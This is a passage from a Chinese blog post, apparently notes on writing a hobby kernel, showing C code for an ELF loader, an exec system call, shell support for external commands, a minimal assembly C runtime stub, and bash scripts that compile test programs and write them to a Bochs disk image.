class="literal">NULL</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="comment">// 如果原进程的页表已经分配了,利用现有的物理页,直接覆盖进程体</span></span><br><span class="line">      vaddr_page += PG_SIZE;</span><br><span class="line">      page_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   sys_lseek(fd, offset, SEEK_SET);</span><br><span class="line">   sys_read(fd, (<span class="keyword">void</span>*)vaddr, filesz);</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>把段内存分配完之后就是加载进程到内存中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从文件系统上加载用户程序pathname,成功则返回程序的起始地址,否则返回-1 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> int32_t <span class="title">load</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* pathname)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">Elf32_Ehdr</span> <span class="title">elf_header</span>;</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">Elf32_Phdr</span> <span class="title">prog_header</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;elf_header, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct Elf32_Ehdr));</span><br><span class="line"></span><br><span class="line">   <span class="keyword">int32_t</span> fd = sys_open(pathname, O_RDONLY);</span><br><span class="line">   <span class="keyword">if</span> (fd == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (sys_read(fd, &amp;elf_header, <span class="keyword">sizeof</span>(struct Elf32_Ehdr)) != <span class="keyword">sizeof</span>(struct Elf32_Ehdr)) &#123;</span><br><span class="line">      ret = <span class="number">-1</span>;</span><br><span class="line">      <span class="keyword">goto</span> done;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 校验elf头 */</span></span><br><span class="line">   <span class="keyword">if</span> (<span class="built_in">memcmp</span>(elf_header.e_ident, <span class="string">"\177ELF\1\1\1"</span>, <span class="number">7</span>) \</span><br><span class="line">      || elf_header.e_type != <span class="number">2</span> \</span><br><span class="line">      || elf_header.e_machine != <span class="number">3</span> \</span><br><span class="line">      || elf_header.e_version != <span class="number">1</span> \</span><br><span class="line">      || elf_header.e_phnum &gt; <span class="number">1024</span> \</span><br><span class="line">      || elf_header.e_phentsize != <span class="keyword">sizeof</span>(struct Elf32_Phdr)) &#123;</span><br><span class="line">      ret = <span class="number">-1</span>;</span><br><span class="line">      <span class="keyword">goto</span> done;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   Elf32_Off prog_header_offset = elf_header.e_phoff; </span><br><span class="line">   Elf32_Half prog_header_size = elf_header.e_phentsize;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 遍历所有程序头 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> prog_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (prog_idx &lt; elf_header.e_phnum) &#123;</span><br><span class="line">      <span class="built_in">memset</span>(&amp;prog_header, <span class="number">0</span>, prog_header_size);</span><br><span class="line">      </span><br><span class="line">      <span class="comment">/* 将文件的指针定位到程序头 */</span></span><br><span class="line">      sys_lseek(fd, prog_header_offset, SEEK_SET);</span><br><span class="line"></span><br><span class="line">     <span class="comment">/* 只获取程序头 */</span></span><br><span class="line">      <span class="keyword">if</span> (sys_read(fd, &amp;prog_header, prog_header_size) != prog_header_size) &#123;</span><br><span class="line"> ret = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">goto</span> done;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 如果是可加载段就调用segment_load加载到内存 */</span></span><br><span class="line">      <span class="keyword">if</span> (PT_LOAD == prog_header.p_type) &#123;</span><br><span class="line"> <span class="keyword">if</span> (!segment_load(fd, prog_header.p_offset, prog_header.p_filesz, prog_header.p_vaddr)) &#123;</span><br><span class="line">    ret = <span class="number">-1</span>;</span><br><span class="line">    <span class="keyword">goto</span> done;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 更新下一个程序头的偏移 */</span></span><br><span class="line">      prog_header_offset += elf_header.e_phentsize;</span><br><span class="line">      prog_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   ret = elf_header.e_entry;</span><br><span class="line">done:</span><br><span class="line">   sys_close(fd);</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后就是sys_execv函数，用path指向的程序替换当前进程</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 用path指向的程序替换当前进程 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_execv(<span class="keyword">const</span> <span class="keyword">char</span>* path, <span class="keyword">const</span> <span class="keyword">char</span>* argv[]) &#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> argc = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (argv[argc]) &#123; <span class="comment">// 循环统计参数个数并放到argc中</span></span><br><span class="line">      argc++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">int32_t</span> entry_point = load(path);     </span><br><span class="line">   <span class="keyword">if</span> (entry_point == <span class="number">-1</span>) &#123; <span class="comment">// 若加载失败则返回-1</span></span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   </span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span></span><br><span class="line">   <span class="comment">/* 修改进程名 */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(cur-&gt;name, path, TASK_NAME_LEN);</span><br><span class="line">   cur-&gt;name[TASK_NAME_LEN<span class="number">-1</span>] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">intr_stack</span>* <span class="title">intr_0_stack</span> = (<span class="title">struct</span> <span class="title">intr_stack</span>*)((<span class="title">uint32_t</span>)<span class="title">cur</span> + <span class="title">PG_SIZE</span> - <span class="title">sizeof</span>(<span class="title">struct</span> <span class="title">intr_stack</span>));</span></span><br><span class="line">   <span class="comment">/* 参数传递给用户进程 */</span></span><br><span class="line">   intr_0_stack-&gt;ebx = (<span class="keyword">int32_t</span>)argv;</span><br><span class="line">   intr_0_stack-&gt;ecx = argc;</span><br><span class="line">   intr_0_stack-&gt;eip = (<span class="keyword">void</span>*)entry_point;</span><br><span class="line">   <span class="comment">/* 使新用户进程的栈地址为最高用户空间地址 */</span></span><br><span class="line">   intr_0_stack-&gt;esp = (<span class="keyword">void</span>*)<span class="number">0xc0000000</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* exec不同于fork,为使新进程更快被执行,直接从中断返回 */</span></span><br><span class="line">   <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"movl %0, %%esp; jmp intr_exit"</span> : : <span class="string">"g"</span> (intr_0_stack) : <span class="string">"memory"</span>)</span></span>;</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="让shell支持外部命令"><a href="#让shell支持外部命令" class="headerlink" title="让shell支持外部命令"></a>让shell支持外部命令</h2><p>由于有系统调用exec，我们shell中就可以添加外部调用命令，Linux中执行命令是bash(或其他shell)先fork一个子进程，然后调用exec去执行命令。我们也效仿这种方式</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">      [...]</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;      <span class="comment">// 如果是外部命令,需要从磁盘上加载</span></span><br><span class="line"> <span class="keyword">int32_t</span> pid = fork();</span><br><span class="line"> <span class="keyword">if</span> (pid) &#123;   <span class="comment">// 父进程</span></span><br><span class="line">    <span class="comment">/* 下面这个while必须要加上,否则父进程一般情况下会比子进程先执行,</span></span><br><span class="line"><span class="comment">    因此会进行下一轮循环将findl_path清空,这样子进程将无法从final_path中获得参数*/</span></span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;   <span class="comment">// 子进程</span></span><br><span class="line">    make_clear_abs_path(argv[<span class="number">0</span>], final_path);</span><br><span class="line">    argv[<span class="number">0</span>] = final_path;</span><br><span class="line">    <span class="comment">/* 先判断下文件是否存在 */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">file_stat</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;file_stat, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct stat));</span><br><span class="line">    <span class="keyword">if</span> (stat(argv[<span class="number">0</span>], &amp;file_stat) == <span class="number">-1</span>) &#123;</span><br><span class="line">       <span class="built_in">printf</span>(<span class="string">"my_shell: cannot access %s: No such file or directory\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">       execv(argv[<span class="number">0</span>], argv);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">int32_t</span> arg_idx = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">while</span>(arg_idx &lt; MAX_ARG_NR) &#123;</span><br><span class="line"> argv[arg_idx] = <span class="literal">NULL</span>;</span><br><span class="line"> arg_idx++;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   panic(<span class="string">"my_shell: should not be here"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="加载硬盘上的用户程序执行"><a href="#加载硬盘上的用户程序执行" class="headerlink" title="加载硬盘上的用户程序执行"></a>加载硬盘上的用户程序执行</h2><p>接下来我们需要实现让用户程序跑起来，有下面几步</p><ul><li>编写第一个真正的用户程序</li><li>将用户程序写入文件系统</li><li>在shell中执行用户程序，即外部命令</li></ul><p>首先实现用户程序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"prog_no_arg from disk\n"</span>); </span><br><span class="line">  <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后编写编译脚本</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">####  此脚本应该在command目录下执行</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ ! -d <span class="string">"../lib"</span> || ! -d <span class="string">"../build"</span> ]];<span class="keyword">then</span></span><br><span class="line">   <span class="built_in">echo</span> <span class="string">"dependent dir don\`t exist!"</span></span><br><span class="line">   cwd=$(<span class="built_in">pwd</span>)</span><br><span class="line">   cwd=<span class="variable">$&#123;cwd##*/&#125;</span></span><br><span class="line">   cwd=<span class="variable">$&#123;cwd%/&#125;</span></span><br><span class="line">   <span class="keyword">if</span> [[ <span class="variable">$cwd</span> != <span class="string">"command"</span> ]];<span class="keyword">then</span></span><br><span class="line">      <span class="built_in">echo</span> -e <span class="string">"you\`d better in command dir\n"</span></span><br><span class="line">   <span class="keyword">fi</span> </span><br><span class="line">   <span class="built_in">exit</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">BIN=<span class="string">"prog_no_arg"</span></span><br><span class="line">CFLAGS=<span class="string">"-m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes \</span></span><br><span class="line"><span class="string">      -Wmissing-prototypes -Wsystem-headers"</span></span><br><span class="line">LIB=<span class="string">"../lib/"</span></span><br><span class="line">OBJS=<span class="string">"../build/string.o ../build/syscall.o \</span></span><br><span class="line"><span class="string">      ../build/stdio.o ../build/assert.o"</span></span><br><span class="line">DD_IN=<span class="variable">$BIN</span></span><br><span class="line">DD_OUT=<span class="string">"/home/guang/soft/bochs-2.6.2/bin/hd60M.img"</span> </span><br><span class="line"></span><br><span class="line">gcc <span class="variable">$CFLAGS</span> -I <span class="variable">$LIB</span> -o <span class="variable">$BIN</span><span class="string">".o"</span> <span class="variable">$BIN</span><span class="string">".c"</span></span><br><span class="line">ld -m elf_i386 -e main <span class="variable">$BIN</span><span class="string">".o"</span> <span class="variable">$OBJS</span> -o <span class="variable">$BIN</span></span><br><span class="line">SEC_CNT=$(ls -l <span class="variable">$BIN</span>|awk <span class="string">'&#123;printf("%d", ($5+511)/512)&#125;'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ -f <span class="variable">$BIN</span> ]];<span class="keyword">then</span></span><br><span class="line">   dd <span class="keyword">if</span>=./<span class="variable">$DD_IN</span> of=<span class="variable">$DD_OUT</span> bs=512 \</span><br><span class="line">   count=<span class="variable">$SEC_CNT</span> seek=300 conv=notrunc</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment">##########   以上核心就是下面这三条命令   ##########</span></span><br><span class="line"><span class="comment">#gcc -m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes -Wmissing-prototypes \</span></span><br><span class="line"><span class="comment">#   -Wsystem-headers -I ../lib -o prog_no_arg.o prog_no_arg.c</span></span><br><span class="line"><span class="comment">#ld -m elf_i386 -e main prog_no_arg.o ../build/string.o ../build/syscall.o\</span></span><br><span class="line"><span class="comment">#   ../build/stdio.o ../build/assert.o -o prog_no_arg</span></span><br><span class="line"><span class="comment">#dd if=prog_no_arg of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img \</span></span><br><span class="line"><span class="comment">#   bs=512 count=10 seek=300 conv=notrunc</span></span><br></pre></td></tr></table></figure><p>最后在main中测试，加载用户程序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"></span><br><span class="line"><span class="comment">/*************    写入应用程序    *************/</span></span><br><span class="line">   <span class="keyword">uint32_t</span> file_size = <span class="number">4777</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> sec_cnt = DIV_ROUND_UP(file_size, <span class="number">512</span>);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">disk</span>* <span class="title">sda</span> = &amp;<span class="title">channels</span>[0].<span class="title">devices</span>[0];</span></span><br><span class="line">   <span class="keyword">void</span>* prog_buf = sys_malloc(file_size);</span><br><span class="line">   ide_read(sda, <span class="number">300</span>, prog_buf, sec_cnt);</span><br><span class="line">   <span class="keyword">int32_t</span> fd = sys_open(<span class="string">"/prog_no_arg"</span>, O_CREAT|O_RDWR);</span><br><span class="line">   <span class="keyword">if</span> (fd != <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span>(sys_write(fd, prog_buf, file_size) == <span class="number">-1</span>) &#123;</span><br><span class="line"> printk(<span class="string">"file write error!\n"</span>);</span><br><span class="line"> <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line"><span class="comment">/*************    写入应用程序结束   *************/</span></span><br><span class="line">   cls_screen();</span><br><span class="line">   console_put_str(<span class="string">"[rabbit@localhost /]$ "</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先编译kernel，在编译compile.sh，成功加载用户程序</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/112.png" alt></p><h2 id="支持参数的用户程序"><a href="#支持参数的用户程序" class="headerlink" title="支持参数的用户程序"></a>支持参数的用户程序</h2><p>下面我们需要增加参数，也就是多一个传参的过程，但是我们这里传的参数是来自用户程序的，这就要涉及到CRT相关知识点了，在main函数执行前有很多初始化工作，比如start之类的函数，其中很流行的一个框架就是C运行时库也就是CRT，由它来调用main函数并传递参数，如下图所示</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/113.png" alt></p><p>我们要传递来自用户的参数，就需要自己实现一个简单的”CRT”，下面是一个很简单的例子，就是单纯传递main的参数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[bits 32]</span><br><span class="line">extern main</span><br><span class="line">section .text</span><br><span class="line">global _start</span><br><span class="line">    ;这两个要和exec中指定的寄存器一致</span><br><span class="line">    push ebx    ;压入argv</span><br><span class="line">    push ecx    ;压入argc</span><br><span class="line">    call main</span><br></pre></td></tr></table></figure><p>然后我们测试程序prog_arg.c如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"syscall.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">int</span> arg_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span>(arg_idx &lt; argc) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"argv[%d] is %s\n"</span>, arg_idx, argv[arg_idx]);</span><br><span class="line">      arg_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">int</span> pid = fork();</span><br><span class="line">   <span class="keyword">if</span> (pid) &#123;</span><br><span class="line">      <span class="keyword">int</span> delay = <span class="number">900000</span>;</span><br><span class="line">      <span class="keyword">while</span>(delay--);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"\n      I`m father prog, my pid:%d, I will show process list\n"</span>, getpid()); </span><br><span class="line">      ps();</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">char</span> abs_path[<span class="number">512</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"\n      I`m child prog, my pid:%d, I will exec %s right now\n"</span>, getpid(), argv[<span class="number">1</span>]); </span><br><span class="line">      <span class="keyword">if</span> (argv[<span class="number">1</span>][<span class="number">0</span>] != <span class="string">'/'</span>) &#123;</span><br><span class="line"> getcwd(abs_path, <span class="number">512</span>);</span><br><span class="line"> <span class="built_in">strcat</span>(abs_path, <span class="string">"/"</span>);</span><br><span class="line"> <span class="built_in">strcat</span>(abs_path, argv[<span class="number">1</span>]);</span><br><span class="line"> execv(abs_path, argv);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> execv(argv[<span class="number">1</span>], argv); </span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译脚本</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">####  此脚本应该在command目录下执行</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ ! -d <span class="string">"../lib"</span> || ! -d <span class="string">"../build"</span> ]];<span class="keyword">then</span></span><br><span class="line">   <span class="built_in">echo</span> <span class="string">"dependent dir don\`t exist!"</span></span><br><span class="line">   cwd=$(<span class="built_in">pwd</span>)</span><br><span class="line">   cwd=<span class="variable">$&#123;cwd##*/&#125;</span></span><br><span class="line">   cwd=<span class="variable">$&#123;cwd%/&#125;</span></span><br><span class="line">   <span class="keyword">if</span> [[ <span class="variable">$cwd</span> != <span class="string">"command"</span> ]];<span class="keyword">then</span></span><br><span class="line">      <span class="built_in">echo</span> -e <span class="string">"you\`d better in command dir\n"</span></span><br><span class="line">   <span class="keyword">fi</span> </span><br><span class="line">   <span class="built_in">exit</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">BIN=<span class="string">"prog_arg"</span></span><br><span class="line">CFLAGS=<span class="string">"-m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes \</span></span><br><span class="line"><span class="string">      -Wmissing-prototypes -Wsystem-headers"</span></span><br><span class="line">LIBS=<span class="string">"-I ../lib -I ../lib/user -I ../fs"</span></span><br><span class="line">OBJS=<span class="string">"../build/string.o ../build/syscall.o \</span></span><br><span class="line"><span class="string">      ../build/stdio.o ../build/assert.o start.o"</span></span><br><span class="line">DD_IN=<span class="variable">$BIN</span></span><br><span class="line">DD_OUT=<span class="string">"/home/guang/soft/bochs-2.6.2/bin/hd60M.img"</span> </span><br><span class="line"></span><br><span class="line">nasm -f elf ./start.S -o ./start.o</span><br><span class="line">ar rcs simple_crt.a <span class="variable">$OBJS</span> start.o</span><br><span class="line">gcc <span class="variable">$CFLAGS</span> <span class="variable">$LIBS</span> -o <span class="variable">$BIN</span><span class="string">".o"</span> <span class="variable">$BIN</span><span class="string">".c"</span></span><br><span class="line">ld -m elf_i386 <span class="variable">$BIN</span><span class="string">".o"</span> simple_crt.a -o <span class="variable">$BIN</span></span><br><span class="line">SEC_CNT=$(ls -l <span class="variable">$BIN</span>|awk <span class="string">'&#123;printf("%d", ($5+511)/512)&#125;'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ -f <span class="variable">$BIN</span> ]];<span class="keyword">then</span></span><br><span class="line">   dd <span class="keyword">if</span>=./<span class="variable">$DD_IN</span> of=<span class="variable">$DD_OUT</span> bs=512 \</span><br><span class="line">   count=<span class="variable">$SEC_CNT</span> seek=300 conv=notrunc</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment">##########   以上核心就是下面这五条命令   ##########</span></span><br><span class="line"><span class="comment">#nasm -f elf ./start.S -o ./start.o</span></span><br><span class="line"><span class="comment">#ar rcs simple_crt.a ../build/string.o ../build/syscall.o \</span></span><br><span class="line"><span class="comment">#   ../build/stdio.o ../build/assert.o ./start.o</span></span><br><span class="line"><span class="comment">#gcc -m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes -Wmissing-prototypes \</span></span><br><span class="line"><span class="comment">#   -Wsystem-headers -I ../lib -o prog_no_arg.o prog_no_arg.c</span></span><br><span class="line"><span class="comment">#ld -m elf_i386 -e main prog_no_arg.o ../build/string.o ../build/syscall.o\</span></span><br><span class="line"><span class="comment">#   ../build/stdio.o ../build/assert.o -o prog_no_arg</span></span><br><span class="line"><span class="comment">#dd if=prog_arg of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img \</span></span><br><span class="line"><span class="comment">#   bs=512 count=11 seek=300 conv=notrunc</span></span><br></pre></td></tr></table></figure><p>最后测试一下效果</p><p><img 